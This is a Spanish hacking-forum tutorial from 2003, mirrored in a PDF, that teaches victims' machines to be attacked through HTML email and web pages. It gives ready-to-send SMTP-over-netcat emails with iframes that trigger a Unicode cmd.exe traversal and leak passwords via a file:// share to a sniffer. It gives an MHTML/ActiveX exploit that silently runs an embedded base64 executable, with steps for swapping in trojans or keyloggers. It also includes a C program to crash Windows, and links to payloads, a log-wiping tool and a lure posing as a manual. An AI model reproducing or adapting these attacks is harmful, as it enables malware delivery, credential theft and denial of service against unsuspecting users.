Está en la página 1de 12

En fin, con esto terminar mi aventura con HTML....

Muy importante ser que hayis comprendido el contenido de los post


anteriores sobre HTML, especialmente el de La importancia de llamarse
HTML.... ste es el link para los que no lo vieron:
http://www.hackxcrack.com/phpBB2/viewtopic.php?t=5634
En esta ocasin vamos a realizar dos prcticas con varios ejemplos cada
una:
1) Enviar por mail las webs maliciosas vistas en los post anteriores,
concretamente las del robo de contraseas y UNICODE
2) Crearemos un archivo HTML con un .exe incrustado MIME que
ejecutar LO QUE NOS DE LA GANA, con tan slo visitar la web.
Todo ello de forma trnsparente al desconfiado visitante, con sigilo, si
necesidad de que intervenga, por el mero hecho de abrir un inofensivo
archivo HTML
CORREO 1
Nos crearemos un archivo de texto con el siguiente contenido:
Cdigo:
helo localhost
mail from: origen@queATACO.com
rcpt to: destino@pobreMiguelito.com
data
Subject: Probando, probando, 1-2, 1-2
Mime-Version: 1.0
Content-Type: text/html;
<BODY BGCOLOR="black" TEXT="yellow" SCROLL=yes>
<img src="img/thor.jpg">
<b>HOLA CHIC@S ESTAIS PREPARADOS...</b>
<br><br>
<iframe src=http://www.terra.es height=200 width=300
scrolling=no> </iframe>
<iframe src=http://80.36.230.235/scripts/cmd.exe?/c+dir+c:\
height=200 width=300></iframe>
<BR><BR>
En el Frame de la izquierda vers la web de terra a tamao
200 x 300 sin barras de desplazamiento
<br>
En el Frame de la derecha estars viendo el directorio c:\
del server de pruebas de HxC
</BODY>
.
quit

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"

Si comprobis el cdigo con los otros posteados anteriormente veris


que es idntico, lo nico que se incluye nuevo son las cabeceras del mail
y las lneas Mime-Version y Content-Type.
Destacar que no ha sido preciso las marcas de inicio y final del cdigo
<HTML> y </HTML> puesto que eso mismo ya se lo indicamos en la
etiqueta Content-Type: text/html;
Como es obvio, debis cambiar las direcciones de MAIL FROM y de RCPT
TO, por las que correspondan, para probar ya lo sabis, las vuestras...
luego las de otros....
La imagen de mi avatar, no saldr puesto que no se ha incrustado en el
mail, por razones de espacio, tan slo existe la referencia, no la imagen
en s misma, por ello en sta y otras prcticas os saldr el cuadradito de
la imagen, pero sin su contenido grfico.
Cmo se enva esto
Pues una vez guardado en un .txt, por ejemplo AprendiendoCorreo.txt,
y lo guardamos en el mismo directorio dnde tengamos el netcat, hay
que ver lo que da de s el nc, entonces escribimos:
Type AprendiendoCorreo.txt|nc -vv -w 3 servidor_de_correo 25
Y se enva....
Cuando el destinatario lo reciba, si lo abre con Outlook, se comportar
como si se tratase de una web, es decir, se ejecutarn los famosos
iframe...
CORREO 2
Cdigo:

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"

echo localhost
mail from: origen@queATACO.com
rcpt to: destino@pobreMiguelito.com
data
Subject: Probando, probando, 1-2, 1-2
Mime-Version: 1.0
Content-Type: text/html;
<HEAD></HEAD>
<BODY BGCOLOR="black" TEXT="yellow" SCROLL=yes>
<img src="img/thor.jpg">
<b>HOLA CHIC@S ESTAIS PREPARADOS...</b>
<br><br>
<iframe src=http://www.terra.es height=300 width=600
scrolling=yes> </iframe>
<iframe src=file://172.28.130.254/kekosas/nul.gif height=1
width=1 scrolling=no> </iframe>
</BODY>
.
quit

ste lo tratis de igual modo que el anterior, lo metis en un .txt p.e.


(RobandoCorreo.txt), se cambian los remitentes y destinatarios, y se
enva con el netcat como antes, cuando lo reciba con Outlook, si
tenemos el esnifer preparado, podremos robarle la contrasea como ya
se ha explicado.
Quizs llame la atencin el parmetro -w 3, que se puso en el netcat,
esto desconectar a nuestro nc pasados 3 segundos, lo ponemos as
para que d por finalizado el envo y de algo de tiempo al servidor de
correo para tragarse el mail.

EXE's incrustados y LISTOS para ejecutarse


Hay muchas formas de hacerlo, yo voy a exponer una de ellas, el
objetivo es disponer de un fichero html que slo por visualizarlo ejecute
el archivo que queramos.
El archivo no tiene por qu existir en la vctima, de hecho si existiera
sera mucho ms fcil...
He elegido un archivo inofensivo para el ejercicio, se trata de un
visualizador-editor de cookies, que por otra parte a ms de uno le
vendr bien.
Cuando ejecutis el archivo vlocal.html, arrancar la pgina de google
y EJECUTARA el archivo de las cookies, podra haber sido otra cosa, un
Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"

troyanito, un bouncer, un virus, un keylogger, un exploit o un DoS.


Al final de ste doc, tendris un link de descarga con varios ejemplos,
he puesto uno con el que podris reiniciar cualquier windows, jeje y slo
por visitar nuestra web, le apagamos-reiniciamos el equipo a un pollo.
AVISO, no quiero que nadie piense mal, bah... apagar un PC eso es de
lammers.... Si la causa es justa no viene mal tenerlo a mano, por
ejemplo, situaciones en las que procede (una comprometida y otra de
aviso)
1.- Despus de la instalacin de un troyano o similar que precise
reiniciar windows
2.- Imaginad que descubris a un extra-mega-super h4cx0r-divino-de-lamuerte que est accediendo a vuestro web server, probando unicodes,
exploits, etc... pues con ste programita incluido en un html podemos
incitarle y dirigir su sesin de navegacin hacia el html malicioso y
cuando el to llega a la pgina, ZAS!! Su pc se apaga....
Bueno, a lo que vamos, lo primero el cdigo del archivo html, luego la
explicacin
Cdigo:

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"

MIME-Version: 1.0
Content-Location:file:///vic_thor.exe
Content-Transfer-Encoding: base64
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAA8AAAAA4fug4AtAnNIbgBTM0hVG
.........................
.........................
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
<title>Vic_Thor</title>
<body bgcolor=black scroll=no>
<SCRIPT>
function malicialocal()
{
var s=document.URL
var path=unescape(s.substr(-0,s.lastIndexOf("\\")));
var formato= '<body scroll=no bgcolor="black"><FONT face="Arial"
color=orange>';
var imagen= '<img src="img/thor.jpg">';
var texto = '<b> PREPARADOS? Os presento el mejor buscador que
EXISTE!!!</b><br>';
var iframe1='<iframe src=http://www.google.com height=300
width=750></iframe>';
var iframe2='<iframe src=file://172.28.130.254/kekosas/nul.gif
height=1 width=1></iframe>';
var objetoini='<object classid="clsid:66666666-6666-6666-6666"
CODEBASE="mhtml:';
var objetofin='\\Vlocal.html!file:///vic_thor.exe"></object>';
var bugg = objetoini+path+objetofin
document.write (formato+imagen+texto+iframe1+iframe2+bugg);
}
setTimeout("malicialocal()",200);
</script>

El cdigo de arriba, combina el robo de contraseas con la ejecucin de


un programa de nuestra eleccin. REPITO, no debis preocuparos por
la autoejecucin del cdigo, es inofensivo, es ms, os vendr hasta bien
para conocer vuestras cookies, y lo dicho... podra haber sido algo malo.
He asignado el cdigo en variables, de sta forma podris usarlo en
otras funciones-scripts, etc. Con muy pocos cambios, ahora vamos a
explicar todo este rollo.
Cdigo:
MIME-Version: 1.0
Content-Location:file:///vic_thor.exe
Content-Transfer-Encoding: base64

Incrusta el exe dentro del html, convertido al formato Base64 (recordad


Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"

el post de los decoders).


Las dos lneas bajo MIME, indican cmo se llamar el archivo codificado
(vic_thor.exe) y el formato (base64)
A continuacin tenemos un chorizo laaaargiiiiiisiiiiimoooooo de
signos, eso es el archivo .exe codificado en Base64, por motivos que
entenderis, slo he puesto un extracto.
Cdigo:
<title>Vic_Thor</title>
<body bgcolor=black scroll=no>

Aqu termina el archivo codificado, damos un ttulo al documento y


elegimos un color negro y sin barras de desplazamiento.
Lo del negro tiene su explicacin.... si no lo ponemos, el chorizo de
Base64 se ver cuando se ejecute y eso no es bueno, la tcnica ms
sencilla para que no se vea consiste en poner el mismo color de fondo
que de texto, como la fuente va en negro, pues no se ver. (texto en
negro y fondo negro), en otros ejemplos lo encerr entre <!-- y -->,
tambin funciona, ya os daris cuenta cuando lo ejecutis
Cdigo:
<SCRIPT>
function malicialocal()
{

Bueno, esto tambin es sencillo, se inidca que vamos a usar un script y


declaramos una funcin llamada maliciosalocal que no acepta
argumentos o parmetros, ni devuelve resultados, parntesis vacos ()
A partir de aqu, se definen e inicializan una serie de variables de cadena
o de string o alfanumricas o como las queris llamar, las ir
explicando:
Cdigo:
var s=document.URL
var path=unescape(s.substr(-0,s.lastIndexOf("\\")));

La variable s guardar la direccin web del archivo .html, p.e.:


D:\malicia\vlocal.html o la ruta completa dnde resida el archivo.
La variable path se queda nicamente con la ruta, siguiendo con el
ejemplo sera D:\malicia, la funcin substr extrae de la variable s

Descargado
Descargado
dede
www.DragonJAR.us
www.DragonJAR.us / Google
/ .com=>/"La
"La
WeB
WeB
de DragoN"
de DragoN"

todos los caracteres desde el primero de la izquierda hasta la ltima


barra (\),
A la funcin lastIndexOf se le ponen dos barras porque en JS, HTML,
etc. No se puede representar el signo \ por s slo, vamos que si
queremos poner una barra (\), para que el navegador lo entienda se
deben poner dos \\ y no solo una, se trata de un problema sintctico, no
porque existan realmente dos barras en la direccin web que guarda la
variable s.
Cdigo:
var formato= '<body scroll=no bgcolor="black"><FONT
face="Arial" color=orange>';
var imagen= '<img src="img/thor.jpg">';
var texto = '<b> PREPARADOS? Os presento el mejor
buscador que EXISTE!!!</b><br>';
var iframe1='<iframe src=http://www.google.com height=300
width=750></iframe>';
var iframe2='<iframe
src=file://172.28.130.254/kekosas/nul.gif height=1
width=1></iframe>';

Todas stas variables guardan el contenido que el visitante ver,


observad que es muy parecido al cdigo HTML de los ejemplos de correo
anteriores, slo que metido en variables para luego utilizarlas.
Formato es la variable que guarda el aspecto de la pgina, color de
fondo, tipo y color del texto
Imagen la variable que contiene el link o lugar donde est guardad la
imagen.
Texto es la variable que contiene el texto que se visualizar al cargar la
pgina
Iframe1 e iframe2 son las variables que definen los marcos a usar,
uno con la pgina de google y otro con el acceso a un fichero que no
existe para robar la contrasea si tenemos el esnifer preparado en esa
direccin, todo esto ya se explic en los post anteriores de HTML
Destacar tambin el uso de comillas simples (') para agrupar las
expresiones que a su vez utilizan comillas dobles (") , de ste modo no
se producen errores y el navegador interpreta correctamente el principio
y el final de la serie de caracteres.
Cdigo:
var objetoini='<object classid="clsid:66666666-6666-6666-6666"
CODEBASE="mhtml:';
var objetofin='\\Vlocal.html!file:///vic_thor.exe"></object>';
var bugg = objetoini+path+objetofin

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"

Bueno, bueno. Esto es el bug en s mismo, si lo hubisemos escrito todo


seguido sera:
<object classid="clsid:66666666-6666-6666-6666"
CODEBASE="mhtml:'+path+'\\Vlocal.html!file:///vic_thor.exe"></object>

Para decirlo de un modo sencillo, utiliza un control ActiveX y lo asocia a


nuestro fichero codificado en Base64 como formato mhtml (MimeHTML),
si traducimos por el contenido de las variables, sera algo as
mhtml:D:\\malicia\\Vlocal.html!file:///vic_thor.exe
Vuelvo a insistir en el uso de barras repetidas, dos barras equivalen a
una, tres barras equivalen a dos, etc., de forma que si hubisemos
escrito eso mismo directamente en la barra de direccin, sera:
mhtml:D:\malicia\Vlocal.html!file://vic_thor.exe
El resultado de nuestro navegador es que cuando llegue el momento de
visualizar el html, adems de la web se ejecutar el fichero vic_thor.exe
incrustado en formato mime dentro del archivo html situado en
d:\malicia\vlocal.html.
El archivo vic_thor.exe, realmente es [color=limeiecv.exe [/color]que
permite ver las cookies almacenadas en nuestro pc, es como si lo
hubisemos renombrado....
Por ltimo tenemos:
Cdigo:
document.write
(formato+imagen+texto+iframe1+iframe2+bugg);
}
setTimeout("malicialocal()",200);
</script>

document.write escribir en el documento el contenido de las


variables que se indican entre parntesis, esas variables contienen el
aspecto y contenidos como ya se explic anteriormente.
La llave cerrada (}) marca el final de la funcin malicialocal() declarada
al principio.
SetTiemout, llama a la funcin malicialocal() pasados 200
milisegundos, este intervalo se puede variar, si ponemos 5000, pues
aproximadamente tardar 5 segundos en mostrar la pgina, etc.
Es recomendable poner un tiempo de espera para que el navegador
Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"

cargue el script del todo, por eso 200 milisegundos, valores a partir de
ese nmero funcionarn tambin sin problemas.
Todos los nombres son ficticios, no tienen porqu ser esos, al igual que
los directorios, lo nico que no debis hacer es cambiar de nombre al
archivo vlocal.html porque sino no os funcionar, bueno s lo har si
adems del nombre fsico del archivo se lo cambiis al contenido de la
variable, cuando empecis a trastear con ello lo entenderis mejor.
Cmo podemos manipular el script para que funcione con otros
ficheros y/o pginas:
1) Se debe convertir el .exe que deseamos ejecutar a Base64 y pegar
su contenido en lugar del que hay.
2) podemos mantener como nombre vic_thor.exe, si quisiramos
cambiarlo, por ejemplo a prog.exe, debemos cambiar stas lneas:
Cdigo:
Content-Location:file:///vic_thor.exe
por:
Content-Location:file:///prog.exe

Y tambin debemos cambiar:


Cdigo:
var objetofin='\\Vlocal.html!file:///vic_thor.exe"></object>
por

sta otra

var objetofin='\\Vlocal.html!file:///prog.exe"></object>';

3) Podemos cambiar el nombre del archivo vlocal.html por otro


diferente, por ejemplo por index.html , para ello se deben cambiar stas
lnea:
Cdigo:
var objetofin='\\Vlocal.html!file:///vic_thor.exe"></object>';
por sta otra:
var objetofin='\\index.html!file:///vic_thor.exe"></object>'

Os recuerdo que si modificamos el nombre del .exe tambin ser


necesario cambiar en sta misma lnea vic_thor.exe por el nombre
Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"

nuevo como se explic en el punto 2.


Como vis es bastante til disponer del contenido en variables, de ese
modo otros programas o scripts las pueden variar a nuestro antojo e
incluir sta funcin (malicialocal()) a modo de librera que esos otros
programas llamen y la ejecuten.
La versin del cdigo que he tratado, slo ser efectiva si el archivo
html se ejecuta desde el equipo local, no lo podis colocar directamente
en un web server para que se lance de forma remota, para hacer esto
ltimo hay que modificar un poquito el contenido y tener suerte, adems
muchos servidores gratuitos utilizan frames y otros cdigos que nos lo
fastidiarn, pero eso no impide montarnos nuestro propio servidor web y
colocarlo all.
Al final del documento tenis una versin modificada para colgar
directamente en la Web, el problema ser que los navegadores actuales
suelen tener desactivado la ejecucin de secuencias de cdigo ActiveX y
no funcionar del todo, digo del todo porque para la prxima
intentaremos cuanto menos, que se guarde el archivo localmente
aunque no se pueda ejecutar, de forma que si coneguimos robarle la
contrasea como ya se ha explicado hasta la saciedad, podremos
conectarnos al equipo remoto y ejecutarle el archivito.
EXPLOIT para matar a windows,
Para finalizar, si una vez ejecutado el cdigo malicioso es preceptivo un
reinicio para que los cambios tomen efecto, vamos a crear un exploit
que lo hace, es sumamente simple y el su descubrimiento fue casual por
mi parte, probando otras cositas lo descubr, aunque al final, como
siempre pasa, existen otros mentes calenturientas que llegaron a la
misma conclusin.
Para ello vamos a necesitar un compilador de C y el cdigo lgico.
El programa en C, sera ste:
Cdigo:
#include <stdio.h>
int main(void)
{
while (1)
printf("\t\t\b\b\b\b\b\b");
return 0;
}

S, as de sencillito.... esto provocar un desbordamiento de buffer del


servicio CSRSS.exe que bloquear windows y lo reiniciar
Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"

Es un bucle infinito que enva a pantalla tabulaciones y retrocesos


consecutivos, cuando son excesivos, Windows se bloquea y reinicia.
Lo compilais con Dev++ o con Vc++ y a funcionar, cuando se ejecuta
Windows se paraliza y se muere.
Para meterlo dentro de nuestro .html malicioso, bastara con
transformarlo a Base64 y pegarlo en lugar de los que hay, cuando
visualicis el archivo vlocal.html o como se llame, windows se reinicia...
Todos los cdigos fuentes y ejemplos los tenis aqu:
Prcticas de envo de correo
http://www.iespana.es/FTPVicThor/malaweb/CorreoFuentes.zip
Ejecucin MIME del archivo vercookies
http://www.iespana.es/FTPVicThor/malaweb/VerCookies.zip
Ejecucin MIME del borrado de logs
Esta versin la podis colocar directamente en un servidor web y
funcionar remotamente, con alguna restriccin que responder a ellas
en el Foro a medida que se os vayan produciendo
http://www.iespana.es/FTPVicThor/malaweb/LogsForWeb.zip
Ejecucin MIME para reiniciar Windows
OJO QUE CUANDO LO EJECUTEIS WINDOWS SE MUEREEEEE.
http://www.iespana.es/FTPVicThor/malaweb/AdiosWin.zip
Ejecucin MIME con algo de Ingeniera Social,
En ste ejemplo, un incauto visitante de la web se descarga un manual
que le interesa o se lo hemos enviado por mail, se trata de un manual
del netcat, cuando lo visualiza en su equipo para imprimirlo o leerlo, se
le ejecutar tambin el cdigo malicioso.
NO PREOCUPAROS, lo que se os va a ejecutar cuando lo hagis ser
un escaneador de servidores vulnerables a REDCODE, vamos que no es
nada raro, ni os estoy colocando un virus ni otras cosas que hubiese
podido, eso s, slo hay unos 10 segundos para leerlo.... vaaale, dejar
que lo podis ver y no modificar el script para que lo elimine, seguro
que a ms de uno le viene bien el manual de netcat.
Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"

http://www.iespana.es/FTPVicThor/malaweb/manualNC.zip
Cdigos ejecutables (.exe)
Del zapper que borra logs, vercookies, tirar a windows , el decoder para
convertir .exe a Base64 y el escaneador de REDCODE
http://www.iespana.es/FTPVicThor/malaweb/ArchivosEXE.zip
Bueno hay ms formas, existe otras ejecuciones CODEBASE, el bug del
wav-exe, y muchas otras que permiten inyectar archivos .exe en
archivos .html que se ejecutan al visualizarlos, recibirlos por correo o
simplemente por situar el cursor sobre ellos.
Que aproveche y SALUD a todos.
PD. No s si lo veris interesante, pero pienso que la prxima debera
ser el aprender cmo defendernos de todo esto, configurar bien el
equipo, detectar mails maliciosos, evitar la ejecucin de cdigo, etc.
Qu os parece?
--- AMPLIADO HOY JUEVES 22 DE MAYO DE 2003 ---Antes de que ocurriese la prdida inesperada de ste y otros post en el
da de ayer, creo recordar que alguno de vosotros no le funcionaba del
todo.
Microsoft sac un parche (que no he probado) para evitar ste asunto el
23 de abril de 2003, antes de esa fecha ste cdigo ya circulaba entre
alguno de nosotros y funcionaba OK segn los privados que me
enviaron, los que hayis actualizado los hotfix recientemente es
probable que no os funcionen, el caso es que con hotfix o sin ellos
PROBADLO EN LOCAL, para colgarlo de un webserver hay que tocar
algunas cosas, en el ejemplo de VicForWeb est el cdigo modificado
para la web, pero no siempre funcionar, depender mucho del Website
y de la configuracin del navegador del "visitante"
parche:
http://www.microsoft.com/technet/treeview/?url=/technet/security/bull
etin/MS03-014.asp
_________________
-<|:

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"

También podría gustarte